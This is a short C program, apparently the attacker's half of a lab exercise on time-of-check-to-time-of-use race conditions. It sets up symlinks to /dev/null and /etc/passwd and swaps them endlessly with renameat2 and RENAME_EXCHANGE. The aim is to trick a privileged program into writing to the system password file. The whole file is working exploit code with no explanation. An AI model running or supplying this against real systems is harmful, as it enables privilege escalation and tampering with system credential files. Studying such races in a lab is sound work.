#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
	unsigned int flags = RENAME_EXCHANGE;
	unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
	unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
	while(1){
	renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
	}
	return 0;
}